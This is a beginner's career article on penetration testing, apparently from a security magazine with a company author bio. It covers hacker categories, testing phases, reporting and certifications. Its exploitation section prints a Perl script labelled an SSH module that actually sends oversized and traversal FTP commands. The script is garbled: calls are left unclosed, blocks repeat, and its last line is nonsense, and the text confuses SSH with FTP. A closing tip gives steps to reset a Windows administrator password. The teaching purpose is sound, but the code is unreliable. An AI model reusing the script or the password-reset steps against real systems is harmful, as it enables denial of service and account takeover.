Pivotal Basics for Every Beginner

Is being a pentester your dream job? Would you like to do pentesting every day until the death but you do not know what to start with? In this article I will describe all you need to begin the journey.

I believe that penetration testing, and any other internet security field, is more of a frame of mind than anything, i.e. thinking outside the box. When a person asks what I do for a living and I tell them I am a pentester, their response is always the same – "What is that and how can I get that title?" I have the same answer every time – a penetration test is a chess match. It is played between the pentester and the contracting organization's IT department. You start out as a pawn and end up as a queen. That queen must be able to accomplish check-mate in the organization's network infrastructure.

There are three different groups of educated pentesters. There is the self-educated, which include people like gamers and those who are simply curious about how to hack a network. Then you have the college educated, who decided to go to school and learn how a network operates and how to secure the network. Lastly, you have the third category, which combines the first two. Neither is better than the other, because to become a well-known pentester, you must be educated in networking, have certifications to prove you can go the extra mile and be up to date with the latest technologies.

Types of Pentesters

A pentester is considered an ethical hacker because there has to be a level of trust between the hiring organization and the tester. When I tell people I am a pentester, I usually follow by explaining that I am an ethical hacker. It is confusing because these two roles can seem to conflict with one another. Before becoming a pentester, you have to decide which group of hackers you want to fall under, a white hat, grey hat, black hat hacker, or a script kiddie. The term "hacker" has not always had the negative connotations that it has today. A hacker originally described a person with a desire to learn about and experiment with technology and referred to someone who was technically proficient with whatever systems they hacked. The group under which you portray yourself will determine if you should pursue a career as a pentester.

White hats may be security professionals, hired by companies to audit network security or test software. Having access to the same software tools that other hackers use, a white hat seeks to improve the security of a network by attacking a network or application as a black hat hacker would.

A black hat hacker is a person who attempts to find network and application security vulnerabilities and exploit them for personal financial gain or other malicious reasons. This differs from white hat hackers, who are security specialists employed to use hacking methods to find security flaws that black hat hackers may exploit.

Black hat hackers can inflict major damage on both individual computer users and large organizations by stealing financial information, compromising the security of systems, or by dropping a network or changing the function of websites and networks.

A grey hat is willing to go to the extremes of both black and white hat hackers. Black hats typically indulge to prove a point that is usually supported by white hats. A person's grey "principles" are the very thing that sets them apart from other classified hackers. In most situations, they may not disclose their activities due to legal consequences. It is not out of the question for a grey hat hacker to hack for personal gain, although it is also not unheard of for them to compromise whole systems for the perceived "greater good" either.

A script kiddie is a derogatory term used to refer to non-serious hackers who are believed to reject the ethical principles held by professional hackers, which include the pursuit of knowledge, respect for skills, and a motive of self-education. Script kiddies shortcut most hacking methods in order to quickly gain their hacking skills. They will use resources such as YouTube and watch a video of an actual attack performed by a genuine hacker and then try to replicate the attack. They attempt to attack and crack computer networks and vandalize websites. Although they are considered to be inexperienced and undeveloped, script kiddies can impose as much computer damage as skilled hackers.

The majority of pentesters fall under the white hat, grey hat, and script kiddie group. You really cannot be a black hat and a pentester because that means you deliberately destroy a network when you perform a pentest. In this industry you will not last long with that mentality.

Yes, I put some of the pentesters in the script kiddie group. Over the years, I have looked over other companies' pentest reports and it baffles me how some organizations pass off their reports as serious pentest reports when they are more like a vulnerability assessment. I have seen instances when a company would run a vulnerability scanner and turn those results in as a pentest report. In other cases, I have seen reports delivered by an organization that only ran Metasploit (which is a program that does exploits for you). The problem with these situations, is that, first, these are not examples of penetration tests but rather are just vulnerability assessments. Second, we lose our skills as IT security professionals if we rely solely on GUI interface tools. The only thing you learn from this experience is how to use a GUI interface and how to hit the start button. To me, this is a huge problem. I believe that in order to be a well-known pentester, you need to know what is going behind the scenes of that vulnerability scanner and exploits. Ask yourself what is it actually scanning? When I begin a pentest, there is a lot I need to prepare before I even start scanning.

Penetration Testing vs Vulnerability Assessment

Vulnerability Assessment:

- Typically is general in scope and includes an assessment of the network or a web application,
- A scan that will identify known network, operating system, web application, and web server vulnerabilities with the use of GUI Interface tools and doing very minimal exploiting, “if any,”
- Unreliable at times and high rate of false positives.

Penetration Testing:

- Focused in scope and may include targeted attempts to exploit specific vectors,
- Extremely accurate and reliable,
- Penetration Testing = vulnerabilities that have been exploited and confirmed.

It is impossible to say that a Vulnerability Assessment is better choice than a Penetration Test. Both Vulnerability Assessments and Penetration Tests are a necessity to an organization’s network security. I suggest at a minimum, that you run a vulnerability assessment at least every three months and a full blown Penetration Test once a year. By doing this, you ensure the hardening of your network from hackers.

Testing Phases

Though the methodology used by a pentester may change depending on individual preferences, client contract or employer principles – for the most part all methodologies include the same stages.

Planning and Scoping

The planning and scoping stage occurs when your organization and the client decide what is within the scope and what needs to be excluded from the test. As a pentester, you must be aware of any potential risks associated with the pentest. Before you start the penetration test always get a “get out of jail free card” – this is a signed document

from the organization and yourself. This document should include the scope of the test, URLs, External and Internal IPs to be tested. Also there needs to be some verbiage if the network does go down or there is severe bandwidth issues that interrupts the organizations everyday business continuality from your GUI scanners. Also, it should state that they have everything backed up and cannot go after you for any reason legally.

Here is an example of a scope between yourself and the client:

> The scope encompassed the internal and external network infrastructure which included routers, servers, and firewalls hosted in the organization's Cincinnati, Ohio office. The network penetration test was performed from organization's network in the Cincinnati, Ohio office.

Information gathering

In this phase, the penetration tester will accumulate as much information as possible that will assist with the test. This includes public records, email addresses within the organization, and the organization's web presence. In the initial stage, web search engines are used to gather as much information about the target organization as possible including target machines on the network. The next step is to find live hosts on the network, which can be achieved through the use of discovery tools such as Nmap. After gathering a list of machines on the network and the open ports, we have to verify that the ports are actually open. The reason for this is that sometimes machines give false results, especially UDP ports. So for example, we identified a machine with a lot of ports open and with an IP address of 10.5.1.1. Let's do a little reconnaissance on that target.

Reconnaissance

In this stage, the penetration tester starts to assess all of the options available within the scope of the penetration test. The pentester decides what tools are to be used and the method of the pentest itself. This will include methods such as network scanning, enumeration, and code injection. The goal of reconnaissance is to classify vulnerabilities that the tester will then attempt to exploit in the next phase. There are many vulnerability scanners out there, so which one should I use? Personally, I use several to make sure that there are as few false positives on the vulnerability report itself. As a penetration tester, you have to be resourceful and use what is available. For this test let's use a vulnerability scanner within Kali. You are probably also wondering why you would use a vulnerability scanner when such a tool creates a lot of noise on the network? It is very simple. The job of a penetration tester is to be as thorough as possible, uncovering as many holes as they can find. It is always the penetration tester's job to verify each vulnerability found before marking it as a positive result and to remove all the false positives. There are hundreds of pages of information in the scan report. I would suggest looking at all of the results. For this case, the one that I am interested in is the vulnerability marked as high, so I am going to click on this one and see what it says. The scanning of 10.5.1.1 found the password 'anonymous' within the FTP account.

Here is an example of a vulnerability that could be exploited which was found as the result of the vulnerability scanner:

```
Anonymous FTP
```

Synopsis: Disable anonymous FTP access. If it is not needed. Anonymous FTP access can lead to an attacker gaining information about your system that can possibly lead to them gaining access to your system.

```
Exploitable

Risk Factor: Medium (CVSS 7.1)

Host: 10.5.1.1
```

Exploitation

Exploiting is the art of taking advantage of known vulnerabilities discovered in the scanning phase. The idea is to gain access to the systems as a hacker would and exploit them. This may include SQL injections, Input Validation, Cross-Site Scripting and Broken Authentication and Session Management. We will be using the username list that we grabbed during the vulnerability assessment phase (I created a file named anonymous.doc with the name "anonymous"), and a copy of the provided wordlist that comes within the applications of Kali. We will also run the SSH module written in Perl, since we already know that the anonymous account is enabled for FTP. Let's look up the CVE numbers and search Google. CVE-1999-0527 is the CVE number that I found using Google. So to

make sure this isn't a false positive, let's go back to the SSH module and re-scan for an anonymous password on the FTP account.

```
[22][ssh] host: 10.5.1.1 login: anonymous
                  password: anonymous
```

Privilege escalation

Exploiting a system can result in access to the system with rudimentary privileges. Privilege escalation is the process to gain further access and additional permissions. Learning manual exploits is a key step to becoming a well-known penetration tester and not using a GUI interface tool to do the exploit for you. Automated tools can cause a drop in a network's bandwidth or drop the network itself. Causing this to happen will give you a bad reputation. While pressing start on a GUI tool, it goes through a lot of unneeded functions like ddos and dos attacks, which are not usually welcomed by your client. It takes a lot of time and practice to gain privileges to systems doing manual exploits but it is well worth it. Although exploiting a system results in access, on many instances, that access is limited to an account with only rudimentary permissions.

Privilege escalation is the process of using further techniques or exploits to gain further permissions. The more permission gained, the more likely a tester is of achieving access to further systems and confidential data.

For this we will run an SSH module written in Perl (Listing 1).

As you can see, we successfully exploited the FTP account. So you have your results from the vulnerability scanner(s) and completed a few exploits. Now you have to present to the organization the vulnerabilities and exploits. This is done by writing a complete report. Remember to take screen shots of the exploits so that you have proof of the exploit being completed. This will show the organization that you truly know what you are do-

Listing 1. *SSH module in Perl*

```
#!/usr/bin/perl
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@192.168.91.10, 192.168.91.13,
                  192.168.91.12, 192.168.90.251,
                  192.168.90.253\r\n";
$command = "CWD ";
$dos_input = "."x250;
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@192.168.91.10, 192.168.91.13,
                  192.168.91.12, 192.168.90.251,
                  192.168.90.253\r\n";
$command = "NLST ";
$dos_input = "/.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
$user = "USER anonymous\r\n";
$passw = "PASS anonymous@172.16.34.16,
                  192.168.91.10, 192.168.91.13,
                  192.168.91.12, 192.168.90.251,
                  192.168.90.253\r\n";
$command = "SIZE ";
$dos_input = "/.../.../.../.../.../";
$send = "\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($user);
$socket->recv($serverdata, 1024);
$socket->send($passw);
$socket->recv($serverdata, 1024);
$socket->send($command.$dos_input.$send);
$socket->exploit successful/r/n"anonymous"
```

ing as a pentester, and you will be on your way to becoming a well-known penetration tester.

Reporting
This section provides the contracting organization a summary of the results from the vulnerability scanner and exploits that were accomplished during the pentest. The report is broken down into two major sections in order to communicate the objectives, methods, and results of the testing to an executive level and IT staff. The report should be broken down into:

- The Executive Summary, which would include: Executive Summary of the penetration test, Scope, Background section explaining the overall posture of the organization, and a recommendation Summary.
- The Technical Report, which would be organized for the IT staff so that they can review and fix the vulnerabilities. This part of the report should include Information Gathering, Vulnerability Assessment, Exploitation/ Vulnerability Confirmation, and the risk of the vulnerabilities to the organization.

Certifications

Why get certifications? Some of the best hackers do not have certifications, so why should I get them? You do so because you want to become a well-known penetration tester and not just a hacker. To do this, you need to show that your skills are up to date and that you are willing to put in the time to show your employer that you have the skills to do a penetration test. You're also impressing on your employer that you're a valued member of the team and that you're willing to learn. There are many certifications to choose from. A few that stand out are: Certified penetration Testing Engineer (C)PTE, Certified Penetration Testing Consultant C)PTC, GIAC Penetration Tester (GPEN), *Certified Ethical Hacker* (CEH) and *Offensive Security Certified Professional* (OSCP). It seems everyone has their own preference in choosing which one is better that the other.

Summary

The process of becoming a well-known penetration tester is not going to happen overnight. Being a pentester is my dream job when it comes to IT security. Taking this journey and becoming a well-known penetration tester involves the pursuit of knowledge whether it is self-taught or through formal education. It is essential to become acquainted with network basics, particularly the OSI model, TCP/IP, handshakes, the different types of packets, and what's contained in the headers.

I also suggest getting an understanding of network scanners and web application scanners. There are plenty of organizations out there that have white papers and tutorials regarding networks and web applications (OWASP, SANS, and NIST). Find practice labs so that you can get practice hacking networks.

With all this documentation and assistance it is quite simple to become a pentester, but to be a well-known pentester you must not be limited to one technology. You virtually need to know everything when it comes to servers, networks, and vulnerabilities that can be exploited. You need to ensure that you have a thorough understanding of security. Associate yourself with experienced pentesters and join forums and communities that are willing to extend a helping hand. I was once told that the hacking community, in general, is willing to help "newbies" into the hacking community. In general that is a true statement.

To be a successful and well-known hacker you will need to understand and be able to write your own scripts and understand program languages. While you are on your way to learn about programming, the main question to ask is which language to learn? This debate has gone for years and there really is no correct answer to it. Each organization for the most part uses one or two languages for their programming so that they can master the language and hire skilled programmers to keep the organization running. As a pentester you should know multiple languages to some degree and understand that language. Python is a good language to start off with because it's efficiently designed, well documented in forums, and moderately kind to beginners. If you get into serious programming, you will have to learn C, the core language of Unix which a pentester should learn or have knowledge of. Perl is worth learning for everyday reasons; it's very widely used for web pages and system administration, so that even if you never write Perl, you should learn to read it.

Also, as a penetration tester you must stay up to date on coding, vulnerabilities, and updates to a network. The organization that hired you will expect you to be current in all subjects related to IT security. There is a saying "patch Tuesday, hack Friday" – this basically means when Microsoft patches come out on Tuesday, those pacthes are being hacked Friday. Remember there is brontobytes of information floating around the web. My

suggestion is to join forums, hacking organizations, and read white papers form reliable sources to stay on top of the new technology out there.

In conclusion, not everyone will want to become a penetration tester or even know what one is, but within the professional community, there are some key steps to becoming well-known and respected. You must commit to continuing education, don't be afraid to ask for help, and practice and develop your skills.

Bonus

Here is some information which is useful but it did not fit into the article well.

Key knowledge

- A penetration test is not a vulnerability scan and a vulnerability scan is not a penetration test,
- Learn everything you can about operating systems and servers, not just one flavor,
- Understand the true concepts of TCP/IP, Subnets, and Coding in as many languages as possible,
- Remember you will not know everything IT related, Google is your best friend.

Tip

Here is a tip that an old school hacker sent me at one point in time. It works about 60 percent of the time depending on the operating system and what not. As for all exploits, the same percentage could go because you are not going to exploit and get root permissions every time you do a pentest due to time restraints within the scope.

If you want to hack a computer's Administrator.

If you are logged in to computer with some other account here are the steps:

- Go to start button click on run
- Type CMD and press enter
- A command window will open
- Type net users
- This will show you all the users of that computer.
- Now type net user administrator * and press enter
- This will ask you to enter a password
- Enter the password you want to keep for the administrator
- Re-enter your password to confirm it.
- DONE

CHRIS BERBERICH

Chris Berberich is a Penetration Tester/Senior Auditor at A-lign Security and Compliance Services based in Tampa, Florida. Chris has an extremely deep and solid understanding of applications, server, and network security. Chris' focus as a penetration tester was managing corporate Internet infrastructure, systems, and network security – specifically operating systems, web application server, databases, interfacing, and data privacy. Certifications: (C)PEH, (C)PTE. Chris.berberich@alignsecurity.com.

A-lign™

Security Compliance

Specializing in security services including:

Penetration Testing • PCI DSS • FedRAMP • ISO 27001

PCI Security Standards Council™

QUALIFIED SECURITY ASSESSOR

www.alignsecurity.com • 888.575.7450